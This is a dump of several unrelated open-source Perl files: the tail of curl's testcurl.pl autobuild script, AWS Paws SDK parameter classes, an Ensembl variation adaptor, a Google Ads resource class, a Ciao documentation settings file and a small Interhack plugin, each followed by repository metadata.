elsif ($ARGV[0] =~ /--email=/) {
$email = (split(/=/, shift @ARGV, 2))[1];
}
elsif ($ARGV[0] =~ /--desc=/) {
$desc = (split(/=/, shift @ARGV, 2))[1];
}
elsif ($ARGV[0] =~ /--notes=/) {
$notes = (split(/=/, shift @ARGV, 2))[1];
}
elsif ($ARGV[0] =~ /--configure=(.*)/) {
$confopts = $1;
shift @ARGV;
}
elsif (($ARGV[0] eq "--nocvsup") || ($ARGV[0] eq "--nogitpull")) {
$nogitpull=1;
shift @ARGV;
}
elsif ($ARGV[0] =~ /--nobuildconf/) {
$nobuildconf=1;
shift @ARGV;
}
elsif ($ARGV[0] =~ /--noconfigure/) {
$configurebuild=0;
shift @ARGV;
}
elsif ($ARGV[0] =~ /--crosscompile/) {
$crosscompile=1;
shift @ARGV;
}
elsif ($ARGV[0] =~ /--runtestopts=/) {
$runtestopts = (split(/=/, shift @ARGV, 2))[1];
}
else {
$CURLDIR=shift @ARGV;
$git=0; # a given dir, assume not using git
}
}
# Do the platform-specific stuff here
$confheader = 'curl_config.h';
$binext = '';
$libext = '.la'; # .la since both libcurl and libcares are made with libtool
if ($^O eq 'MSWin32' || $targetos) {
if (!$targetos) {
# If no target defined on Win32 lets assume vc
$targetos = 'vc';
}
if ($targetos =~ /vc/ || $targetos =~ /borland/ || $targetos =~ /watcom/) {
$binext = '.exe';
$libext = '.lib';
}
elsif ($targetos =~ /mingw/) {
$binext = '.exe';
if ($^O eq 'MSWin32') {
$libext = '.a';
}
}
elsif ($targetos =~ /netware/) {
$configurebuild = 0;
$binext = '.nlm';
if ($^O eq 'MSWin32') {
$libext = '.lib';
}
else {
$libext = '.a';
}
}
}
if (($^O eq 'MSWin32' || $^O eq 'cygwin' || $^O eq 'msys') &&
($targetos =~ /vc/ || $targetos =~ /mingw32/ ||
$targetos =~ /borland/ || $targetos =~ /watcom/)) {
# Set these things only when building ON Windows and for Win32 platform.
# FOR Windows since we might be cross-compiling on another system. Non-
# Windows builds still default to configure-style builds with curl_config.h.
$configurebuild = 0;
$confheader = 'config-win32.h';
}
$ENV{LC_ALL}="C" if (($ENV{LC_ALL}) && ($ENV{LC_ALL} !~ /^C$/));
$ENV{LC_CTYPE}="C" if (($ENV{LC_CTYPE}) && ($ENV{LC_CTYPE} !~ /^C$/));
$ENV{LANG}="C";
sub rmtree($) {
my $target = $_[0];
if ($^O eq 'MSWin32') {
foreach (glob($target)) {
s:/:\\:g;
system("rd /s /q $_");
}
} else {
system("rm -rf $target");
}
}
sub grepfile($$) {
my ($target, $fn) = @_;
open(F, $fn) or die;
while (<F>) {
if (/$target/) {
close(F);
return 1;
}
}
close(F);
return 0;
}
sub logit($) {
my $text=$_[0];
if ($text) {
print "testcurl: $text\n";
}
}
sub logit_spaced($) {
my $text=$_[0];
if ($text) {
print "\ntestcurl: $text\n\n";
}
}
sub mydie($){
my $text=$_[0];
logit "$text";
chdir $pwd; # cd back to the original root dir
if ($pwd && $build) {
# we have a build directory name, remove the dir
logit "removing the $build dir";
rmtree "$pwd/$build";
}
if (-r $buildlog) {
# we have a build log output file left, remove it
logit "removing the $buildlogname file";
unlink "$buildlog";
}
logit "ENDING HERE"; # last line logged!
exit 1;
}
sub get_host_triplet {
my $triplet;
my $configfile = "$pwd/$build/lib/curl_config.h";
if(-f $configfile && -s $configfile && open(LIBCONFIGH, "<$configfile")) {
while(<LIBCONFIGH>) {
if($_ =~ /^\#define\s+OS\s+"*([^"][^"]*)"*\s*/) {
$triplet = $1;
last;
}
}
close(LIBCONFIGH);
}
return $triplet;
}
if($name && $email && $desc) {
# having these fields set are enough to continue, skip reading the setup
# file
$infixed=4;
$fixed=4;
}
elsif (open(F, "$setupfile")) {
while (<F>) {
if (/(\w+)=(.*)/) {
eval "\$$1=$2;";
}
}
close(F);
$infixed=$fixed;
}
else {
$infixed=0; # so that "additional args to configure" works properly first time...
}
if (!$name) {
print "please enter your name\n";
$name = <>;
chomp $name;
$fixed=1;
}
if (!$email) {
print "please enter your contact email address\n";
$email = <>;
chomp $email;
$fixed=2;
}
if (!$desc) {
print "please enter a one line system description\n";
$desc = <>;
chomp $desc;
$fixed=3;
}
if (!$confopts) {
if ($infixed < 4) {
print "please enter your additional arguments to configure\n";
print "examples: --with-ssl --enable-debug --enable-ipv6 --with-krb4\n";
$confopts = <>;
chomp $confopts;
}
}
if ($fixed < 4) {
$fixed=4;
open(F, ">$setupfile") or die;
print F "name='$name'\n";
print F "email='$email'\n";
print F "desc='$desc'\n";
print F "confopts='$confopts'\n";
print F "notes='$notes'\n";
print F "fixed='$fixed'\n";
close(F);
}
# Enable picky compiler warnings unless explicitly disabled
if (($confopts !~ /--enable-debug/) &&
($confopts !~ /--enable-warnings/) &&
($confopts !~ /--disable-warnings/)) {
$confopts .= " --enable-warnings";
}
my $str1066os = 'o' x 1066;
# Set timestamp to the UTC this script is running. Its value might
# be changed later in the script to the value present in curlver.h
$timestamp = scalar(gmtime)." UTC";
logit "STARTING HERE"; # first line logged, for scripts to trigger on
logit 'TRANSFER CONTROL ==== 1120 CHAR LINE' . $str1066os . 'LINE_END';
logit "NAME = $name";
logit "EMAIL = $email";
logit "DESC = $desc";
logit "NOTES = $notes";
logit "CONFOPTS = $confopts";
logit "RUNTESTOPTS = ".$runtestopts;
logit "CPPFLAGS = ".$ENV{CPPFLAGS};
logit "CFLAGS = ".$ENV{CFLAGS};
logit "LDFLAGS = ".$ENV{LDFLAGS};
logit "LIBS = ".$ENV{LIBS};
logit "CC = ".$ENV{CC};
logit "TMPDIR = ".$ENV{TMPDIR};
logit "MAKEFLAGS = ".$ENV{MAKEFLAGS};
logit "ACLOCAL_FLAGS = ".$ENV{ACLOCAL_FLAGS};
logit "PKG_CONFIG_PATH = ".$ENV{PKG_CONFIG_PATH};
logit "DYLD_LIBRARY_PATH = ".$ENV{DYLD_LIBRARY_PATH};
logit "LD_LIBRARY_PATH = ".$ENV{LD_LIBRARY_PATH};
logit "LIBRARY_PATH = ".$ENV{LIBRARY_PATH};
logit "SHLIB_PATH = ".$ENV{SHLIB_PATH};
logit "LIBPATH = ".$ENV{LIBPATH};
logit "target = ".$targetos;
logit "version = $version"; # script version
logit "date = $timestamp"; # When the test build starts
$str1066os = undef;
# Make $pwd to become the path without newline. We'll use that in order to cut
# off that path from all possible logs and error messages etc.
$pwd = getcwd();
my $have_embedded_ares = 0;
if (-d $CURLDIR) {
if ($git && -d "$CURLDIR/.git") {
logit "$CURLDIR is verified to be a fine git source dir";
# remove the generated sources to force them to be re-generated each
# time we run this test
unlink "$CURLDIR/src/tool_hugehelp.c";
# find out if curl source dir has an in-tree c-ares repo
$have_embedded_ares = 1 if (-f "$CURLDIR/ares/GIT-INFO");
} elsif (!$git && -f "$CURLDIR/tests/testcurl.pl") {
logit "$CURLDIR is verified to be a fine daily source dir";
# find out if curl source dir has an in-tree c-ares extracted tarball
$have_embedded_ares = 1 if (-f "$CURLDIR/ares/ares_build.h");
} else {
mydie "$CURLDIR is not a daily source dir or checked out from git!"
}
}
# make the path absolute so we can use it everywhere
$CURLDIR = File::Spec->rel2abs("$CURLDIR");
$build="build-$$";
$buildlogname="buildlog-$$";
$buildlog="$pwd/$buildlogname";
# remove any previous left-overs
rmtree "build-*";
rmtree "buildlog-*";
# this is to remove old build logs that ended up in the wrong dir
foreach (glob("$CURLDIR/buildlog-*")) { unlink $_; }
# create a dir to build in
mkdir $build, 0777;
if (-d $build) {
logit "build dir $build was created fine";
} else {
mydie "failed to create dir $build";
}
# get in the curl source tree root
chdir $CURLDIR;
# Do the git thing, or not...
if ($git) {
my $gitstat = 0;
my @commits;
# update quietly to the latest git
if($nogitpull) {
logit "skipping git pull (--nogitpull)";
} else {
logit "run git pull in curl";
system("git pull 2>&1");
$gitstat += $?;
logit "failed to update from curl git ($?), continue anyway" if ($?);
# Set timestamp to the UTC the git update took place.
$timestamp = scalar(gmtime)." UTC" if (!$gitstat);
}
# get the last 5 commits for show (even if no pull was made)
@commits=`git log --pretty=oneline --abbrev-commit -5`;
logit "The most recent curl git commits:";
for (@commits) {
chomp ($_);
logit " $_";
}
if (-d "ares/.git") {
chdir "ares";
if($nogitpull) {
logit "skipping git pull (--nogitpull) in ares";
} else {
logit "run git pull in ares";
system("git pull 2>&1");
$gitstat += $?;
logit "failed to update from ares git ($?), continue anyway" if ($?);
# Set timestamp to the UTC the git update took place.
$timestamp = scalar(gmtime)." UTC" if (!$gitstat);
}
# get the last 5 commits for show (even if no pull was made)
@commits=`git log --pretty=oneline --abbrev-commit -5`;
logit "The most recent ares git commits:";
for (@commits) {
chomp ($_);
logit " $_";
}
chdir "$CURLDIR";
}
if($nobuildconf) {
logit "told to not run buildconf";
}
elsif ($configurebuild) {
# remove possible left-overs from the past
unlink "configure";
unlink "autom4te.cache";
# generate the build files
logit "invoke buildconf";
open(F, "./buildconf 2>&1 |") or die;
open(LOG, ">$buildlog") or die;
while (<F>) {
my $ll = $_;
# ignore messages pertaining to third party m4 files we don't care
next if ($ll =~ /aclocal\/gtk\.m4/);
next if ($ll =~ /aclocal\/gtkextra\.m4/);
print $ll;
print LOG $ll;
}
close(F);
close(LOG);
if (grepfile("^buildconf: OK", $buildlog)) {
logit "buildconf was successful";
}
else {
mydie "buildconf was NOT successful";
}
}
else {
logit "buildconf was successful (dummy message)";
}
}
# Set timestamp to the one in curlver.h if this isn't a git test build.
if ((-f "include/curl/curlver.h") &&
(open(F, "<include/curl/curlver.h"))) {
while (<F>) {
chomp;
if ($_ =~ /^\#define\s+LIBCURL_TIMESTAMP\s+\"(.+)\".*$/) {
my $stampstring = $1;
if ($stampstring !~ /DEV/) {
$stampstring =~ s/\s+UTC//;
$timestamp = $stampstring." UTC";
}
last;
}
}
close(F);
}
# Show timestamp we are using for this test build.
logit "timestamp = $timestamp";
if ($configurebuild) {
if (-f "configure") {
logit "configure created (at least it exists)";
} else {
mydie "no configure created/found";
}
} else {
logit "configure created (dummy message)"; # dummy message to feign success
}
sub findinpath {
my $c;
my $e;
my $x = ($^O eq 'MSWin32') ? '.exe' : '';
my $s = ($^O eq 'MSWin32') ? ';' : ':';
my $p=$ENV{'PATH'};
my @pa = split($s, $p);
for $c (@_) {
for $e (@pa) {
if( -x "$e/$c$x") {
return $c;
}
}
}
}
my $make = findinpath("gmake", "make", "nmake");
if(!$make) {
mydie "Couldn't find make in the PATH";
}
# force to 'nmake' for VC builds
$make = "nmake" if ($targetos =~ /vc/);
# force to 'wmake' for Watcom builds
$make = "wmake" if ($targetos =~ /watcom/);
logit "going with $make as make";
# change to build dir
chdir "$pwd/$build";
if ($configurebuild) {
# run configure script
print `$CURLDIR/configure $confopts 2>&1`;
if (-f "lib/Makefile") {
logit "configure seems to have finished fine";
} else {
mydie "configure didn't work";
}
} else {
logit "copying files to build dir ...";
if (($^O eq 'MSWin32') && ($targetos !~ /netware/)) {
system("xcopy /s /q \"$CURLDIR\" .");
system("buildconf.bat");
}
elsif ($targetos =~ /netware/) {
system("cp -afr $CURLDIR/* .");
system("cp -af $CURLDIR/Makefile.dist Makefile");
system("$make -i -C lib -f Makefile.netware prebuild");
system("$make -i -C src -f Makefile.netware prebuild");
if (-d "$CURLDIR/ares") {
system("$make -i -C ares -f Makefile.netware prebuild");
}
}
elsif ($^O eq 'linux') {
system("cp -afr $CURLDIR/* .");
system("cp -af $CURLDIR/Makefile.dist Makefile");
system("$make -i -C lib -f Makefile.$targetos prebuild");
system("$make -i -C src -f Makefile.$targetos prebuild");
if (-d "$CURLDIR/ares") {
system("cp -af $CURLDIR/ares/ares_build.h.dist ./ares/ares_build.h");
system("$make -i -C ares -f Makefile.$targetos prebuild");
}
}
}
if(-f "./libcurl.pc") {
logit_spaced "display libcurl.pc";
if(open(F, "<./libcurl.pc")) {
while(<F>) {
my $ll = $_;
print $ll if(($ll !~ /^ *#/) && ($ll !~ /^ *$/));
}
close(F);
}
}
logit_spaced "display lib/$confheader";
open(F, "lib/$confheader") or die "lib/$confheader: $!";
while (<F>) {
print if /^ *#/;
}
close(F);
if (($have_embedded_ares) &&
(grepfile("^#define USE_ARES", "lib/$confheader"))) {
print "\n";
logit "setup to build ares";
if(-f "./ares/libcares.pc") {
logit_spaced "display ares/libcares.pc";
if(open(F, "<./ares/libcares.pc")) {
while(<F>) {
my $ll = $_;
print $ll if(($ll !~ /^ *#/) && ($ll !~ /^ *$/));
}
close(F);
}
}
if(-f "./ares/ares_build.h") {
logit_spaced "display ares/ares_build.h";
if(open(F, "<./ares/ares_build.h")) {
while(<F>) {
my $ll = $_;
print $ll if(($ll =~ /^ *# *define *CARES_/) && ($ll !~ /__CARES_BUILD_H/));
}
close(F);
}
}
else {
mydie "no ares_build.h created/found";
}
$confheader =~ s/curl/ares/;
logit_spaced "display ares/$confheader";
if(open(F, "ares/$confheader")) {
while (<F>) {
print if /^ *#/;
}
close(F);
}
print "\n";
logit "build ares";
chdir "ares";
if ($targetos && !$configurebuild) {
logit "$make -f Makefile.$targetos";
open(F, "$make -f Makefile.$targetos 2>&1 |") or die;
}
else {
logit "$make";
open(F, "$make 2>&1 |") or die;
}
while (<F>) {
s/$pwd//g;
print;
}
close(F);
if (-f "libcares$libext") {
logit "ares is now built successfully (libcares$libext)";
} else {
mydie "ares build failed (libcares$libext)";
}
# cd back to the curl build dir
chdir "$pwd/$build";
}
my $mkcmd = "$make -i" . ($targetos && !$configurebuild ? " $targetos" : "");
logit "$mkcmd";
open(F, "$mkcmd 2>&1 |") or die;
while (<F>) {
s/$pwd//g;
print;
}
close(F);
if (-f "lib/libcurl$libext") {
logit "libcurl was created fine (libcurl$libext)";
}
else {
mydie "libcurl was not created (libcurl$libext)";
}
if (-f "src/curl$binext") {
logit "curl was created fine (curl$binext)";
}
else {
mydie "curl was not created (curl$binext)";
}
if (!$crosscompile || (($extvercmd ne '') && (-x $extvercmd))) {
logit "display curl${binext} --version output";
my $cmd = ($extvercmd ne '' ? $extvercmd.' ' : '')."./src/curl${binext} --version|";
open(F, $cmd);
while(<F>) {
# strip CR from output on non-win32 platforms (wine on Linux)
s/\r// if ($^O ne 'MSWin32');
print;
}
close(F);
}
if ($configurebuild && !$crosscompile) {
my $host_triplet = get_host_triplet();
# build example programs for selected build targets
if(($host_triplet =~ /([^-]+)-([^-]+)-irix(.*)/) ||
($host_triplet =~ /([^-]+)-([^-]+)-aix(.*)/) ||
($host_triplet =~ /([^-]+)-([^-]+)-osf(.*)/) ||
($host_triplet =~ /([^-]+)-([^-]+)-solaris2(.*)/)) {
chdir "$pwd/$build/docs/examples";
logit_spaced "build examples";
open(F, "$make -i 2>&1 |") or die;
open(LOG, ">$buildlog") or die;
while (<F>) {
s/$pwd//g;
print;
print LOG;
}
close(F);
close(LOG);
chdir "$pwd/$build";
}
# build and run full test suite
my $o;
if($runtestopts) {
$o = "TEST_F=\"$runtestopts\" ";
}
logit "$make -k ${o}test-full";
open(F, "$make -k ${o}test-full 2>&1 |") or die;
open(LOG, ">$buildlog") or die;
while (<F>) {
s/$pwd//g;
print;
print LOG;
}
close(F);
close(LOG);
if (grepfile("^TEST", $buildlog)) {
logit "tests were run";
} else {
mydie "test suite failure";
}
if (grepfile("^TESTFAIL:", $buildlog)) {
logit "the tests were not successful";
} else {
logit "the tests were successful!";
}
}
else {
if($crosscompile) {
my $host_triplet = get_host_triplet();
# build example programs for selected cross-compiles
if(($host_triplet =~ /([^-]+)-([^-]+)-mingw(.*)/) ||
($host_triplet =~ /([^-]+)-([^-]+)-android(.*)/)) {
chdir "$pwd/$build/docs/examples";
logit_spaced "build examples";
open(F, "$make -i 2>&1 |") or die;
open(LOG, ">$buildlog") or die;
while (<F>) {
s/$pwd//g;
print;
print LOG;
}
close(F);
close(LOG);
chdir "$pwd/$build";
}
# build test harness programs for selected cross-compiles
if($host_triplet =~ /([^-]+)-([^-]+)-mingw(.*)/) {
chdir "$pwd/$build/tests";
logit_spaced "build test harness";
open(F, "$make -i 2>&1 |") or die;
open(LOG, ">$buildlog") or die;
while (<F>) {
s/$pwd//g;
print;
print LOG;
}
close(F);
close(LOG);
chdir "$pwd/$build";
}
logit_spaced "cross-compiling, can't run tests";
}
# dummy message to feign success
print "TESTDONE: 1 tests out of 0 (dummy message)\n";
}
# create a tarball if we got that option.
if (($mktarball ne '') && (-x $mktarball)) {
system($mktarball);
}
# mydie to cleanup
mydie "ending nicely";
| LiberatorUSA/GUCEF | dependencies/curl/tests/testcurl.pl | Perl | apache-2.0 | 21,619 |
package Paws::WAFRegional::UpdateSizeConstraintSet;
use Moose;
has ChangeToken => (is => 'ro', isa => 'Str', required => 1);
has SizeConstraintSetId => (is => 'ro', isa => 'Str', required => 1);
has Updates => (is => 'ro', isa => 'ArrayRef[Paws::WAFRegional::SizeConstraintSetUpdate]', required => 1);
use MooseX::ClassAttribute;
class_has _api_call => (isa => 'Str', is => 'ro', default => 'UpdateSizeConstraintSet');
class_has _returns => (isa => 'Str', is => 'ro', default => 'Paws::WAFRegional::UpdateSizeConstraintSetResponse');
class_has _result_key => (isa => 'Str', is => 'ro');
1;
### main pod documentation begin ###
=head1 NAME
Paws::WAFRegional::UpdateSizeConstraintSet - Arguments for method UpdateSizeConstraintSet on Paws::WAFRegional
=head1 DESCRIPTION
This class represents the parameters used for calling the method UpdateSizeConstraintSet on the
AWS WAF Regional service. Use the attributes of this class
as arguments to method UpdateSizeConstraintSet.
You shouldn't make instances of this class. Each attribute should be used as a named argument in the call to UpdateSizeConstraintSet.
As an example:
$service_obj->UpdateSizeConstraintSet(Att1 => $value1, Att2 => $value2, ...);
Values for attributes that are native types (Int, String, Float, etc) can passed as-is (scalar values). Values for complex Types (objects) can be passed as a HashRef. The keys and values of the hashref will be used to instance the underlying object.
=head1 ATTRIBUTES
=head2 B<REQUIRED> ChangeToken => Str
The value returned by the most recent call to GetChangeToken.
=head2 B<REQUIRED> SizeConstraintSetId => Str
The C<SizeConstraintSetId> of the SizeConstraintSet that you want to
update. C<SizeConstraintSetId> is returned by CreateSizeConstraintSet
and by ListSizeConstraintSets.
=head2 B<REQUIRED> Updates => ArrayRef[L<Paws::WAFRegional::SizeConstraintSetUpdate>]
An array of C<SizeConstraintSetUpdate> objects that you want to insert
into or delete from a SizeConstraintSet. For more information, see the
applicable data types:
=over
=item *
SizeConstraintSetUpdate: Contains C<Action> and C<SizeConstraint>
=item *
SizeConstraint: Contains C<FieldToMatch>, C<TextTransformation>,
C<ComparisonOperator>, and C<Size>
=item *
FieldToMatch: Contains C<Data> and C<Type>
=back
=head1 SEE ALSO
This class forms part of L<Paws>, documenting arguments for method UpdateSizeConstraintSet in L<Paws::WAFRegional>
=head1 BUGS and CONTRIBUTIONS
The source code is located here: https://github.com/pplu/aws-sdk-perl
Please report bugs to: https://github.com/pplu/aws-sdk-perl/issues
=cut
| ioanrogers/aws-sdk-perl | auto-lib/Paws/WAFRegional/UpdateSizeConstraintSet.pm | Perl | apache-2.0 | 2,644 |
=head1 LICENSE
Copyright (c) 1999-2011 The European Bioinformatics Institute and
Genome Research Limited. All rights reserved.
This software is distributed under a modified Apache license.
For license details, please see
http://www.ensembl.org/info/about/code_licence.html
=head1 CONTACT
Please email comments or questions to the public Ensembl
developers list at <dev@ensembl.org>.
Questions may also be sent to the Ensembl help desk at
<helpdesk@ensembl.org>.
=cut
#
# Ensembl module for Bio::EnsEMBL::Variation::DBSQL::IndividualGenotypeAdaptor
#
# Copyright (c) 2004 Ensembl
#
# You may distribute this module under the same terms as perl itself
#
#
=head1 NAME
Bio::EnsEMBL::Variation::DBSQL::IndividualGenotypeAdaptor
=head1 SYNOPSIS
$reg = 'Bio::EnsEMBL::Registry';
$reg->load_registry_from_db(-host => 'ensembldb.ensembl.org',-user => 'anonymous');
$iga = $reg->get_adaptor("human","variation","individualgenotype");
$sa = $reg->get_adaptor("human","core","slice");
$slice = $sa->fetch_by_region("chromosome", 6, 133088927, 133089926);
foreach my $ig(@{$iga->fetch_all_by_Slice($slice}) {
print $ig->allele1, "|", $ig->allele2;
}
=head1 DESCRIPTION
This adaptor provides database connectivity for IndividualGenotype objects.
IndividualGenotypes may be retrieved from the Ensembl variation database by
several means using this module.
=head1 METHODS
=cut
package Bio::EnsEMBL::Variation::DBSQL::IndividualGenotypeAdaptor;
use strict;
use warnings;
use vars qw(@ISA);
use Bio::EnsEMBL::DBSQL::BaseAdaptor;
use Bio::EnsEMBL::Utils::Exception qw(throw warning);
use Bio::EnsEMBL::Variation::DBSQL::BaseGenotypeAdaptor;
@ISA = ('Bio::EnsEMBL::Variation::DBSQL::BaseGenotypeAdaptor');
=head2 fetch_all_by_Variation
Arg [1] : Bio::EnsEMBL::Variation $variation
Example : my $var = $variation_adaptor->fetch_by_name( "rs1121" )
$igtypes = $igtype_adaptor->fetch_all_by_Variation( $var )
Description: Retrieves a list of individual genotypes for the given Variation.
If none are available an empty listref is returned.
Returntype : listref Bio::EnsEMBL::Variation::IndividualGenotype
Exceptions : none
Caller : general
Status : At Risk
=cut
sub fetch_all_by_Variation {
my $self = shift;
my $variation = shift;
$self->_multiple(0); #to return data from single and multiple table
return $self->SUPER::fetch_all_by_Variation($variation);
}
=head2 fetch_all_by_Slice
Arg [1] : Bio::EnsEMBL::Slice $slice
Example : $igtypes = $igtype_adaptor->fetch_all_by_Slice( $slice )
Description: Retrieves a list of individual genotypes in a given Slice.
If none are available an empty listref is returned.
Returntype : listref Bio::EnsEMBL::Variation::IndividualGenotype
Exceptions : none
Caller : general
Status : At Risk
=cut
sub fetch_all_by_Slice{
my $self = shift;
my $slice = shift;
$self->_multiple(0);
my @final_genotypes;
push @final_genotypes, @{$self->SUPER::fetch_all_by_Slice($slice)};
$self->_multiple(1);
$self->SUPER::fetch_all_by_Slice($slice);
push @final_genotypes, @{$self->SUPER::fetch_all_by_Slice($slice)};
return \@final_genotypes;
}
1;
| adamsardar/perl-libs-custom | EnsemblAPI/ensembl-variation/modules/Bio/EnsEMBL/Variation/DBSQL/IndividualGenotypeAdaptor.pm | Perl | apache-2.0 | 3,284 |
# Copyright 2020, Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
package Google::Ads::GoogleAds::V9::Resources::ConversionTrackingSetting;
use strict;
use warnings;
use base qw(Google::Ads::GoogleAds::BaseEntity);
use Google::Ads::GoogleAds::Utils::GoogleAdsHelper;
sub new {
my ($class, $args) = @_;
my $self = {
conversionTrackingId => $args->{conversionTrackingId},
crossAccountConversionTrackingId =>
$args->{crossAccountConversionTrackingId}};
# Delete the unassigned fields in this object for a more concise JSON payload
remove_unassigned_fields($self, $args);
bless $self, $class;
return $self;
}
1;
| googleads/google-ads-perl | lib/Google/Ads/GoogleAds/V9/Resources/ConversionTrackingSetting.pm | Perl | apache-2.0 | 1,162 |
:- module(_, _, [functions]).
:- use_module(library(terms)).
:- use_module(ciaosrc('CIAOSETTINGS')).
:- use_module(ciaosrc('CIAOSHARED')).
:- reexport(ciaosrc('doc/common/LPDOCCOMMON')).
:- reexport(ciaosrc('CIAOSETTINGS'), [lpdoclib/1]).
:- redefining(_).
:- discontiguous fileoption/2.
% -*- mode: Makefile; -*-
% ----------------------------------------------------------------------------
%
% **** lpdoc document generation SETTINGS *****
%
% These SETTINGS should be changed to suit your application
%
% The defaults listed are suggestions and/or the ones used for local
% installation in the CLIP group machines.
% ----------------------------------------------------------------------------
% List of all directories where the .pl files to be documented can be found
% (separated by spaces; put explicit paths, i.e., do not use any variables)
% You also need to specify all the paths of files used by those files!
%
filepath := ~atom_concat( [ ~ciaosrc , '/library/javaobs' ] ).
% ----------------------------------------------------------------------------
% List of all the *system* directories where .pl files used are
% (separated by spaces; put explicit paths, i.e., do not use any variables)
% You also need to specify all the paths of files used by those files!
% You can put these in FILEPATHS instead. Putting them here only
% means that the corresponding files will be assumed to be "system"
% files in the documentation.
%
systempath := ~atom_concat( [ ~ciaosrc , '/lib' ] )|
~atom_concat( [ ~ciaosrc , '/library' ] )|
~atom_concat( [ ~ciaosrc , '/doc/common' ] ).
% ----------------------------------------------------------------------------
% Uncommenting this allows loading a file including path alias definitions
% (i.e., this has the same functionality as the @tt{-u} option in @apl{ciaoc})
% Simply leave uncommented if you do not use path aliases.
%
% PATHSFILE =
% ----------------------------------------------------------------------------
% Define this to be the main file name (include a path only if it
% should appear in the documentation)
%
mainfile := 'java_obj'.
% ----------------------------------------------------------------------------
% Select lpdoc options for main file (do 'lpdoc -h' to get list of options)
% Leaving this blank produces most verbose manuals
% -v -nobugs -noauthors -noversion -nochangelog -nopatches -modes
% -headprops -literalprops -nopropnames -noundefined -nopropsepln -norefs
% -nobullet -nosysmods -noengmods -noisoline -propmods -shorttoc -noregtypepr
%
fileoption(~mainfile) := '-noengmods'.
% ----------------------------------------------------------------------------
% List of files to be used as components. These can be .pl files
% or .src files (manually produced files in texinfo format).
% (include a path only if it should appear in the documentation, i.e.,
% for sublibraries)
%
% ----------------------------------------------------------------------------
% Select lpdoc opts for component file(s)
% (see above or do 'lpdoc -h' to get complete list of opts))
% Leaving this blank produces most verbose manuals
%
% ----------------------------------------------------------------------------
% Define this to be the list of documentation formats to be generated by
% default when typing gmake (*** keep them in this order ***)
% texi dvi ps pdf ascii manl info infoindex html htmlindex
%
% Leaving out pdf since many systems don't have ps to pdf conversion yet
% DOCFORMATS = texi dvi ps pdf ascii manl info infoindex html htmlindex
docformat := 'texi' | 'dvi' | 'ps' | 'ascii' | 'manl' | 'info' | 'infoindex' | 'html' | 'htmlindex'.
% ----------------------------------------------------------------------------
% Define this to be the list (separated by spaces) of indices to be
% generated ('all' generates all the supported indices)
% Note: too many indices may exceed the capacity of texinfo!
% concept lib apl pred prop regtype decl op modedef file global
% all
%
index := 'concept' | 'pred' | 'prop' | 'regtype' | 'modedef' | 'global'.
% ----------------------------------------------------------------------------
% If you are using bibliographic references, define this to be the list
% (separated by commas, full paths, no spaces) of .bib files to be used
% to find them.
%
:- reexport(ciaosrc('CIAOSHARED'), [bibfile/1]).
% ----------------------------------------------------------------------------
% Setting this to a different value allows changing the page number of
% the first page of the manual. This can be useful if the manual is to
% be included in a larger document or set of manuals.
% Typically, this should be an odd number.
%
startpage := 1.
% ----------------------------------------------------------------------------
% Only need to change these if you will be installing the docs somewhere else
% ----------------------------------------------------------------------------
% Define this to be the dir in which you want the document(s) installed.
%
docdir := ~('CIAOSETTINGS':docdir).
% ----------------------------------------------------------------------------
% Uncomment this for .dvi and .ps files to be compressed on installation
% If uncommented, set it to path for gzip
%
% COMPRESSDVIPS = gzip
% ----------------------------------------------------------------------------
% Uncomment this to specify a gif to be used as page background in html
%
htmlbackground := 'http://www.clip.dia.fi.upm.es/images/Clip_bg.gif'.
% ----------------------------------------------------------------------------
% Define this to be the permissions for automatically generated data files
%
datapermissions := perm(rw, rw, r).
% ----------------------------------------------------------------------------
% Define this to be the perms for automatically generated dirs and exec files
%
execpermissions := perm(rwx, rwx, rx).
% ----------------------------------------------------------------------------
% The settings below are important only for generating html and info *indices*
% ----------------------------------------------------------------------------
% Define this to be files containing header and tail for the html index.
% Pointers to the files generated by lpdoc are placed in a document that
% starts with HTMLINDEXHEADFILE and finishes with HTMLINDEXTAILFILE
%
% HTMLINDEXHEADFILE = $(LIBDIR)/Head_generic.html
htmlindex_headfile := ~atom_concat( [ ~lpdoclib , '/Head_clip.html' ] ).
% HTMLINDEXTAILFILE = $(LIBDIR)/Tail_generic.html
htmlindex_tailfile := ~atom_concat( [ ~lpdoclib , '/Tail_clip.html' ] ).
% ----------------------------------------------------------------------------
% Define this to be files containing header and tail for the info "dir" index.
% dir entries generated by lpdoc are placed in a "dir" file that
% starts with INFODIRHEADFILE and finishes with INFODIRTAILFILE
%
% INFODIRHEADFILE = $(LIBDIR)/Head_generic.info
infodir_headfile := ~atom_concat( [ ~lpdoclib , '/Head_clip.info' ] ).
% INFODIRTAILFILE = $(LIBDIR)/Tail_generic.info
infodir_tailfile := ~atom_concat( [ ~lpdoclib , '/Tail_clip.info' ] ).
% ----------------------------------------------------------------------------
% end of SETTINGS
| leuschel/ecce | www/CiaoDE/ciao/library/javaobs/Doc/LPSETTINGS.pl | Perl | apache-2.0 | 7,248 |
#!/usr/bin/env perl
package Interhack::Plugin::IO::Terminal;
use Calf::Role qw/to_user from_user/;
use Term::ReadKey;
our $VERSION = '1.99_01';
# attributes {{{
# }}}
# methods {{{
sub to_user # {{{
{
my $self = shift;
my ($text) = @_;
print $text;
} # }}}
sub from_user # {{{
{
my $self = shift;
ReadKey 0.05;
} # }}}
# }}}
# method modifiers {{{
# }}}
1;
| TAEB/Interhack2 | lib/Interhack/Plugin/IO/Terminal.pm | Perl | bsd-3-clause | 381 |
package Paws::StorageGateway::DescribeBandwidthRateLimitOutput;
use Moose;
has AverageDownloadRateLimitInBitsPerSec => (is => 'ro', isa => 'Int');
has AverageUploadRateLimitInBitsPerSec => (is => 'ro', isa => 'Int');
has GatewayARN => (is => 'ro', isa => 'Str');
has _request_id => (is => 'ro', isa => 'Str');
### main pod documentation begin ###
=head1 NAME
Paws::StorageGateway::DescribeBandwidthRateLimitOutput
=head1 ATTRIBUTES
=head2 AverageDownloadRateLimitInBitsPerSec => Int
The average download bandwidth rate limit in bits per second. This
field does not appear in the response if the download rate limit is not
set.
=head2 AverageUploadRateLimitInBitsPerSec => Int
The average upload bandwidth rate limit in bits per second. This field
does not appear in the response if the upload rate limit is not set.
=head2 GatewayARN => Str
